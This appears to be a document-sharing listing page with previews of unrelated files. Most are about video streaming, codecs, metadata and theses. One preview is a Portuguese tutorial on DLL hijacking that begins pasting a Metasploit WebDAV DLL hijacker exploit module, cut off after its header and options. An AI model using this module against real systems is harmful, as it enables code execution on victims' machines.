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E Player Download
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Encoding H.264 Video for Streaming and Progressive Download
W4: KEY ENCODING SKILLS, TECHNOLOGIES TECHNIQUES STREAMING MEDIA EAST - 2019 Jan Ozer www.streaminglearningcenter.com [email protected]/ 276-235-8542 @janozer Agenda • Introduction • Lesson 5: How to build encoding • Lesson 1: Delivering to Computers, ladder with objective quality metrics Mobile, OTT, and Smart TVs • Lesson 6: Current status of CMAF • Lesson 2: Codec review • Lesson 7: Delivering with dynamic • Lesson 3: Delivering HEVC over and static packaging HLS • Lesson 4: Per-title encoding Lesson 1: Delivering to Computers, Mobile, OTT, and Smart TVs • Computers • Mobile • OTT • Smart TVs Choosing an ABR Format for Computers • Can be DASH or HLS • Factors • Off-the-shelf player vendor (JW Player, Bitmovin, THEOPlayer, etc.) • Encoding/transcoding vendor Choosing an ABR Format for iOS • Native support (playback in the browser) • HTTP Live Streaming • Playback via an app • Any, including DASH, Smooth, HDS or RTMP Dynamic Streaming iOS Media Support Native App Codecs H.264 (High, Level 4.2), HEVC Any (Main10, Level 5 high) ABR formats HLS Any DRM FairPlay Any Captions CEA-608/708, WebVTT, IMSC1 Any HDR HDR10, DolbyVision ? http://bit.ly/hls_spec_2017 iOS Encoding Ladders H.264 HEVC http://bit.ly/hls_spec_2017 HEVC Hardware Support - iOS 3 % bit.ly/mobile_HEVC http://bit.ly/glob_med_2019 Android: Codec and ABR Format Support Codecs ABR VP8 (2.3+) • Multiple codecs and ABR H.264 (3+) HLS (3+) technologies • Serious cautions about HLS • DASH now close to 97% • HEVC VP9 (4.4+) DASH 4.4+ Via MSE • Main Profile Level 3 – mobile HEVC (5+) -
Preservation Metadata Dictionary Version 1.2 October 2015
Preservation Metadata Dictionary Version 1.2 October 2015 A publication by: Digital Preservation Office, Netherlands Institute for Sound and Vision Beth Delaney Hanneke Smulders Yvette Hollander Annemieke de Jong Daniël Steinmeier Introduction In the Preservation Metadata Dictionary V 1.2 (PMD) the Netherlands Institute for Sound and Vision has summarized the definitions of preservation metadata, a combination of a variety of existing standards, to best serve the needs of the institute as an audiovisual archive. Preservation metadata include the categories of technical metadata and provenance metadata. Parts of the descriptive metadata are also included in the category preservation metadata, namely the attributes needed to identify a digital object. The fourth category of preservation metadata are the rights metadata. This dictionary contains the possible selection and definition of all metadata used in recording the digital preservation process at Sound and Vision. In the PMD, the attributes are defined that can be allocated to each digital object (audio, video, film, text, photograph) ingested in the Digital Archive. This includes both technical metadata attributes of a file and attributes describing actions (‘events’), results of those actions (‘outcomes’) and their associated ‘agents’ (responsible organization, software or person. After all, these are the data that are required to provide the Digital Archive, its depositors and its users evidence of the digital provenance of a digital object, and hence its authenticity. The Dictionary also contains rights attributes that must be structurally related to a digital object. These rights relate not only to (re)use rights, but also preservation rights. The collection attributes in the Preservation Metadata Dictionary V1.2 are based among others on the standards PBCore, the Library of Congress VideoMD and AudioMD, PREMIS, NARA reVTMD and the ANSI/NISO Z39.87 Data Dictionary Technical Metadata for Digital Still Images. -
DLL Hijacking with Metasploit
Autor :Ô.._ mar Fontenele a k a f0nt Drk Date :// 06 03 2011 DLL Hijacking with Metasploit É o seguinte, a técnica consiste em explorar a DLL vulneravel de algum programa e a exploitar . Primeiro vamos ao nosso Metasploit : user@root ~# msfconsole Agora vamos criar uma DLL maliciosa similar a original da Aplicação . usando este exploit : ## # $Id: webdav_dll_hijacker.rb 10101 2010-08-23 13:41:59Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'WebDAV Application DLL Hijacker', 'Description' => %q{ This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type. }, 'Author' => [ 'hdm', # Module itself 'jduck', # WebDAV implementation 'jcran', # Exploit vectors ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10101 $', 'References' => [ ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn- loadlibrarygetprocaddress.html'], ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1- PUB.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', -
Anshul Arora, and Sateesh Kumar Peddoju Department of Computer Science and Engineering INDIAN INSTITUTE of TECHNOLOGY ROORKEE
Anshul Arora, and Sateesh Kumar Peddoju Department of Computer Science and Engineering INDIAN INSTITUTE OF TECHNOLOGY ROORKEE List of Normal Apps Considered for Mobile Malware Detection. CATEGORY: EDUCATION Vocabulary Vajiram IAS Daily Current TED O’Reilly Builder Affairs Linkedln BBC Learning edX- Online DailyArt Dr. Najeeb Learning English Courses Lectures NeuroNation Curiosity UPSC IAS All in Testbook Exam Edureka One Preparation Crazy GK Gradeup Exam Lucent GK Daily Editorial Skyview Free Tricks Preparation eBooks for IAS IASBaba Improve English WifiStudy Conferenza Speaking MCQs Mrunal IQ and Aptitude Researcher Toppr Swayam Test SkillShare Vision IAS Math Tricks IndiaBix Simplilearn Courses Unacademy Learn Python Insights IAS NCERT Books Kreatryx Educator General Science Lumosity Udemy Online Vedantu Learning Ultimate Quiz Course Vocabulary Prep Coursera Byju’s Learning Hindu Vocab Programming Shaw Academy Algorithms SoloLearn Elevate Brilliant Medical Books Enguru Bank Exams DataCamp Duolingo MadGuy Lynda Today Learn English Khan Academy Drops: Learn new SSC Tube Online Languages with Conversations Kids languages Learning Memrise Cambridge MathsApp WordUp IGNOU eContent Kampus English Vocabulary Konversations Conversation Quizlet IELTS Prep Varsity by U-Dictionary Ready 4 GMAT App Zerodha Skholar Startup India Kickel GRE Flashcards ePathshala Learning program Wisdom Blinklist PhotoMath Barron’s 1100 for Headway Learning GRE Shubhra Ranjan Mahendra’s Free Current Target SSB IMS CATsapp MCQ Tool Affairs Wordbit Learn R EnglishScore eMedicoz Tutorials Point German Programming Sleepy Classes AFEIAS Job News 7 Government Star Tracker Schemes IELTS Full MMD Exams upGrad GMAT Club Forum Codecademy Go Band 7.5+ Free IIT JEE Mission UPSC Learning Space 3e Learning Edu Tap Anshul Arora, and Sateesh Kumar Peddoju Department of Computer Science and Engineering INDIAN INSTITUTE OF TECHNOLOGY ROORKEE List of Normal Apps Considered for Mobile Malware Detection. -
Format Support
Episode 6 Format Support FILE FORMAT CODEC Episode Episode Episode Pro EngineCOMMENTS Adaptive bitrate streaming Microsoft Smooth Streaming H.264 (AAC audio) O Windows OS only. Available with Episode Engine License. Apple HLS H.264 (AAC audio) O Available with Episode Engine License. Windows Media WMV, ASF VC-1 O O O WM9 I/O I/O I/O WMV7 and 8 through F4M component on Mac WMA I/O I/O I/O WMA Pro I/O I/O I/O Flash FLV Flash 8 (VP6s/VP6e) I/O I/O I/O SWF Flash 8 (VP6s/VP6e) I/O I/O I/O MOV/MP4/F4V Flash 9 (H.264) I/O I/O I/O F4V as extension to MP4 WebM WebM VP8 O O O Vorbis O O O 3GPP 3GPP AAC I/O I/O I/O H.263 I/O I/O I/O H.264 I/O I/O I/O MainConcept and x264 MPEG-4 I/O I/O I/O 3GPP2 3GPP2 AAC I/O I/O I/O H.263 I/O I/O I/O H.264 I/O I/O I/O MainConcept and x264 MPEG-4 I/O I/O I/O MPEG Elementary Streams MPEG-1 Elementary Stream MPEG-1 (video) I/O I/O I/O MPEG-2 Elementary Stream MPEG-2 I/O I/O I/O MPEG Program Streams PS AAC O O O MainConcept and x264 H.264 I/O I/O I/O MPEG-1/2 (audio) I/O I/O I/O MPEG-2 I/O I/O I/O MPEG-4 I/O I/O I/O MPEG Transport Streams TS AAC I O O AES I I/O I/O H.264 I I/O I/O MainConcept and x264 AVCHD I I I HDV I I/O I/O MPEG - 1/2 (audio) I I/O I/O MPEG - 2 I I/O I/O MPEG - 4 I I/O I/O PCM I I I Matrox MAX H.264 I/O I/O I/O QT codec (*output possible via QT), Requires Matrox MAX hardware - Mac OS X only MPEG System Streams M1A MPEG-1 (audio) I/O I/O I/O M1V MPEG-1 (audio) I/O I/O I/O Episode 6 Format Support Format Support FILE FORMAT CODEC Episode Episode Episode Pro EngineCOMMENTS MPEG-4 MP4 AAC I/O I/O I/O -
Universidad De Guayaquil Facultad De Ingenieria Industrial Departamento Académico De Graduación
UNIVERSIDAD DE GUAYAQUIL FACULTAD DE INGENIERIA INDUSTRIAL DEPARTAMENTO ACADÉMICO DE GRADUACIÓN TRABAJO DE TITULACIÓN PREVIO A LA OBTENCIÓN DEL TÍTULO DE INGENIERO EN TELEINFORMÁTICA TEMA “ANÁLISIS DE USO DEL SOFTWARE LIBRE COMO HERRAMIENTA DE APOYO EN EL PROCESO DE ENSEÑANZA-APRENDIZAJE EN LA CARRERA INGENIERÍA EN TELEINFORMÁTICA DE LA FACULTAD DE INGENIERÍA INDUSTRIAL DE LA UNIVERSIDAD DE GUAYAQUIL” AUTOR CLAVIJO MORANTE ERICK XAVIER DIRECTOR DEL TRABAJO ING. TELEC. VEINTIMILLA ANDRADE JAIRO GEOVANNY 2015 GUAYAQUIL-ECUADOR ii “La responsabilidad de los hechos, ideas y doctrinas expuestas en este trabajo de titulación corresponden exclusivamente al autor” Clavijo Morante Erick Xavier C.I. 0925589236 iii DEDICATORIA El presente trabajo de titulación está dedicado a todas las personas que confiaron en mí y que siempre me apoyaron para cumplir con mis metas y mis sueños. iv AGRADECIMIENTO A Dios, quién supo guiarme por el buen camino y darme fuerza para seguir adelante. A mis padres, quienes con su apoyo y consejos han sabido guiarme para culminar mi carrera profesional. A mi asesor de Tesis Ing. Jairo Veintimilla Andrade por su gran ayuda en todo el proceso de desarrollo de esta tesis. A mis amigos, compañeros y a todas aquellas personas que de una u otra manera contribuyeron para el logro de mis objetivos. v ÍNDICE GENERAL Descripción Pág. PRÓLOGO 1 CAPÍTULO I INTRODUCCIÓN N° Descripción Pág. 1.1 Tema 2 1.2 Planteamiento del Problema 2 1.3 Delimitación del objeto de la investigación 3 1.3.1 Delimitación Espacial 3 1.3.2 Delimitación Temporal 3 1.3.3 Delimitación Conceptual 4 1.4 Justificación 4 1.5 Objetivos 5 1.5.1 Objetivo General 5 1.5.2 Objetivos Específicos 5 1.6 Preguntas directrices 5 CAPITULO II MARCO TEÓRICO N° Descripción Pág. -
Multimedia REVOLUTION of the CENTURY PRESENTED BY
Multimedia REVOLUTION OF THE CENTURY PRESENTED BY MANU SHIVHARE(IT-ITM) SHIVAM TUTEJA(IT-ITM) CONTENTS INTRODUCTION WHAT IS ?? • Many or more MULTI than one • Medium of MEDIA Communication MULTIMEDIA.. Multimedia is media and content that uses a combination of different content forms. The term is used in contrast to media which only use traditional forms of printed or hand-produced material. Multimedia includes a combination of . Text . Audio . Still images . Animation video . Interactivity content forms. HISTORY The term “MULTIMEDIA” was first used by BOB GOLDSTEIN in July 1996 to promote opening of his light works. In 1970s the term was used to describe presentations consisting of multi-projector slide shows timed to an audio track. In 1990s „multimedia „ took on its current meaning. TAY VAUGHAN declared “Multimedia as combination of text, graphic art, sound, animation, and video that is delivered by computer. CONTD.. In common usage, the term multimedia refers to an electronically delivered combination of media including video, still images, audio, text in such a way that can be accessed interactively. Computers marketed in 1990s were referred to as “MULTIMEDIA COMPUTERS” because they contained a CD-ROM drive. CATEGORIZATION LINEAR MULTIMEDIA NON-LINEAR MULTIMEDIA Linear active content progresses Non-linear content offers user without any navigational control for the interactivity to control progress as used viewer. with a computer game . Cinema presentation is an example of Hypermedia is an example of non- linear multimedia. linear multimedia. CHARACTERISTICS Multimedia presentations can be viewed in person on stage, projected, transmitted, or played locally with a media player. Broadcasts and recordings can be either analog or digital electronic media technology. -
A Teleca Company Compression Master 3.2 Is The
www.popwire.com Compression Master 3.2 is the application for Lightning Fast Codecs the professional media producer who requires Developed from scratch in native Mac OS X code, simplicity and reliability without sacrifi cing leveraging years of expertise in video and audio any choices. Compression Master enables processing, Popwire Technology’s codecs are blazingly you to produce content for DVD, Internet, fast while delivering unsurpassed quality. Additionally, these codecs give you access to over 45 media formats broadcasting, mobile phones, portable video such as MPEG-2, MPEG-4, DV, QuickTime, H.264, players, music services or any other type of 3GPP and native Mac OS X encoding of Windows and media. Real Media. Video Encoding for the Mac Best-of-Breed Quality Filters and Results With Compression Master from Popwire Technology Native YCbCr processing together with innovative pre- the reliability and speed of server based video processing such as Popwire Technology’s deinterlacing encoding is brought to the desktop. With its extensive with edge detection interpolation, three-level noise format support Compression Master converts to and reduction, frame rate fi lter that enables true inverse from all common formats such as MPEG-2, MPEG- telecine, as well as conversion between NTSC, PAL, 4, QuickTime, DV, H.264, 3GPP, Flash, Windows fi lm, HD to SD, guarantees that you get the highest and Real Media for anything from satellite- and web possible quality. From broadcast media to the Internet broadcasting, DVD authoring to the video enabled iPod or the 3G mobile phone, the results are perfect and you and 3G Mobile Phones. -
Final-Thesis.Pdf (1.648Mb)
VYSOKÉ UČENÍ TECHNICKÉ V BRNĚ BRNO UNIVERSITY OF TECHNOLOGY FAKULTA INFORMAČNÍCH TECHNOLOGIÍ FACULTY OF INFORMATION TECHNOLOGY ÚSTAV INTELIGENTNÍCH SYSTÉMŮ DEPARTMENT OF INTELLIGENT SYSTEMS ZPŘÍSTUPNĚNÍ OBRAZU Z IP KAMER V PROHLÍŽEČI WEB BROWSER FOR IP CAMERAS BAKALÁŘSKÁ PRÁCE BACHELOR’S THESIS AUTOR PRÁCE PAVEL ČERNÝ AUTHOR VEDOUCÍ PRÁCE doc. Ing. FRANTIŠEK ZBOŘIL, Ph.D. SUPERVISOR BRNO 2020 Vysoké učení technické v Brně Fakulta informačních technologií Ústav inteligentních systémů (UITS) Akademický rok 2019/2020 Zadání bakalářské práce Student: Černý Pavel Program: Informační technologie Název: Zpřístupnění obrazu z IP kamer v prohlížeči Web Browser for IP Cameras Kategorie: Umělá inteligence Zadání: 1. Prozkoumejte způsob přenosu obrazu z IP kamer a možnosti přenosu a zobrazení obrazu (videa) do webových prohlížečů. Věnujte pozornost možnostem HTML5 (např. použití tagu <video>). Seznamte se s problematikou používaných kodeků. 2. Na základě průzkumu navrhněte systém, který bude umožňovat především zobrazit živý obraz z kamer, včetně jednoduchého administračního rozhraní (správa kamer a přístupových práv uživatelů). 3. Systém implementujte pomocí vhodných programovacích jazyků. Použijte volně dostupné knihovny a programy (licencované pod GNU GPL, Apache a podobně). Webové rozhraní nechť je funkční v aktuálních verzích nejrozšířenějších prohlížečů (Firefox, Chrome, MS Edge). 4. Zhodnoťte dosažený výsledek a navrhněte možnosti dalšího vývoje. Literatura: Russel, S., Norvig, P.: Artificial Intelligence, A Modern Approach, Pearson, 2009 Podrobné -
Moose Kidstalks Presentation A/V Information
Moose KidsTalks Presentation A/V Information The time you have to present your Moose KidsTalks information and what you did is your time and you are allowed to use that time anyway you please to get your information across to your peers. The following information is for anyone that would like to use technology to present their information. If you are going to use a presentation that requires a computer, the following are the requirements to make your presentation work with the set-up that is available. Presentation/Keynote/PowerPoint 1. Presentation must be in one of the following: 1. Email your presentation to Gordie Dailey or Camille Ruffino (windows based) so we have a back up copy. 2. Apple Keynote 3. Prezi 4. Any ONLINE presentation tool 2. Presentation should be brought on a flash drive or readily available on an online storage system (ex. - Google Drive, Dropbox). Local storage like a flash drive is more reliable and recommended. However, based on experience, please have a backup of all materials. We recommend using Google Drive. They offer 15 GB of free storage, which is plenty of room for any and all files you would be using. 3. If audio is required, please have the audio file embedded into the presentation, video, or have the audio file available on a storage device to play through a computer. Phones, iPods, MP3 players are also allowed to be used, but must use a standard 3.5mm headphone jack. Video If your video is online, be able to quickly access the link or search result. -
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